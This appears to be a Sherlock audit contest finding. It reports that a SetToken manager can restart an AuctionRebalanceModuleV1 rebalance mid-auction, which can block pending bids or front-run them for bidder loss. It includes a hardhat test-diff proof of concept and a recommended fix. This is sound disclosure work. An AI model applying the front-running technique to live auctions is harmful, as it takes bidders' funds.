0xTheC0der - New auction rebalance can be started before previous one concluded or duration elapsed

[sherlock-admin2]

0xTheC0der

medium

New auction rebalance can be started before previous one concluded or duration elapsed

Summary

New auction rebalance can be started before previous one concluded or duration elapsed, leading to potential DoS of bids or limited bidder loss.

Vulnerability Detail

The manager of a SetToken can call AuctionRebalanceModuleV1.startRebalance(...) at any time, i.e. starting a new rebalance auction before the previous one concluded (met targets, early unlock) or its duration elapsed.
Thereby many auction parameters can be changed (overwriting the previous ones), like: components, price adapters, quote asset, rebalance duration and initial position multiplier. However, even if all those parameters are kept the same, the rebalance start time is still updated, see L275, which tampers with non-constant price adapter's price computation, see L806, when creating a bid.

Impact

Starting a new auction with different parameters or specifically front-running a bid can lead to the following consequences:

• DoS of pending bids due to component or quote asset mismatch.
• Delay of SetToken unlock due to additional increase of rebalance duration.
• Unexpected post-bid balances due to changed price adapters incurring potential loss for the bidder (when staying within quoteAssetLimit).
• Bidder loss due to change to other quote asset the bidder also has given approval for and therefore different meaning of quoteAssetLimit.
• In case auction parameters are kept the same: the new rebalance start time tampers with non-constant price adapter's price computation incurring a loss for the bidder, see PoC.

Keep in mind, that a bidder has the option to preview the potential outcomes of a bid with AuctionRebalanceModuleV1.getBidPreview(...) which even solidifies the severity of this issue, since the bidder is led to believe that everything is working as intended and therefore subsequently calls AuctionRebalanceModuleV1.bid(...) which still can be front-run by AuctionRebalanceModuleV1.startRebalance(...) to cause the above impacts.

Code Snippet

The following PoC modifies an existing test case and demonstrates how front-running a bid by starting a new rebalance auction incurs a loss for the bidder. Just apply the diff below and run the test with npx hardhat test test/protocol/modules/v1/auctionRebalanceModuleV1.spec.ts.

diff --git a/test/protocol/modules/v1/auctionRebalanceModuleV1.spec.ts b/test/protocol/modules/v1/auctionRebalanceModuleV1.spec.ts
index fc35069..dc28af3 100644
--- a/test/protocol/modules/v1/auctionRebalanceModuleV1.spec.ts
+++ b/test/protocol/modules/v1/auctionRebalanceModuleV1.spec.ts
@@ -2855,10 +2855,11 @@ describe("AuctionRebalanceModuleV1", () => {
 
         describe("when the bid is placed on a component sell auction", async () => {
           beforeEach(async () => {
-            await fundBidder();
+            // make sure bidder has 10% more assets for this altered test case
+            await fundBidder(setup.weth, ether(0.45).mul(11).div(10));
           });
 
-          it("updates position units and transfers tokens correctly on a component sell auction with BoundedStepwiseLinearPriceAdapter", async () => {
+          it.only("updates position units and transfers tokens correctly on a component sell auction with BoundedStepwiseLinearPriceAdapter", async () => {
             const preBidBalances = {
               bidderDai: await setup.dai.balanceOf(bidder.address),
               bidderWeth: await setup.weth.balanceOf(bidder.address),
@@ -2866,8 +2867,34 @@ describe("AuctionRebalanceModuleV1", () => {
               setTokenWeth: await setup.weth.balanceOf(subjectSetToken.address)
             };
             const setTokenTotalSupply = await subjectSetToken.totalSupply();
+            
+            // wait time until bid, see subject() method of original test case
+            await increaseTimeAsync(subjectIncreaseTime);
 
-            await subject();
+            // quote asset limit happens to be 10% higher than necessary
+            // and SetToken manager can take advantage of this
+            subjectQuoteAssetLimit = subjectQuoteAssetLimit.mul(11).div(10)
+
+            // front-run bid by restarting rebalance with same parameters like original rebalance
+            // this causes the price calculation in the price adapter to change
+            await startRebalance(
+              subjectSetToken.address,
+              defaultQuoteAsset,
+              defaultNewComponents,
+              defaultNewComponentsAuctionParams,
+              oldComponentsAuctionParams,
+              defaultShouldLockSetToken,
+              defaultDuration,
+              defaultPositionMultiplier
+            );
+            
+            // bid, see subject() method of original test case
+            await auctionModule.connect(subjectCaller.wallet).bid(
+              subjectSetToken.address,
+              subjectComponent,
+              subjectComponentAmount,
+              subjectQuoteAssetLimit
+            );
 
             const expectedWethPositionUnits = preciseDiv(preBidBalances.setTokenWeth.add(subjectQuoteAssetLimit), setTokenTotalSupply);
             const expectedDaiPositionUnits = preciseDiv(preBidBalances.setTokenDai.sub(subjectComponentAmount), setTokenTotalSupply);
@@ -2885,6 +2912,7 @@ describe("AuctionRebalanceModuleV1", () => {
               setTokenWeth: await setup.weth.balanceOf(subjectSetToken.address)
             };
 
+            // bidder paid 10% more WETH than without getting front-run but received same DAI as in original test case
             expect(postBidBalances.bidderDai).to.eq(preBidBalances.bidderDai.add(subjectComponentAmount));
             expect(postBidBalances.bidderWeth).to.eq(preBidBalances.bidderWeth.sub(subjectQuoteAssetLimit));
             expect(postBidBalances.setTokenDai).to.eq(preBidBalances.setTokenDai.sub(subjectComponentAmount));

Tool used

Manual Review

Recommendation

Enforce a reasonable upper limit on the rebalance duration and only allow a new rebalance auction to be started when the previous one elapsed or has concluded (met targets, early unlock).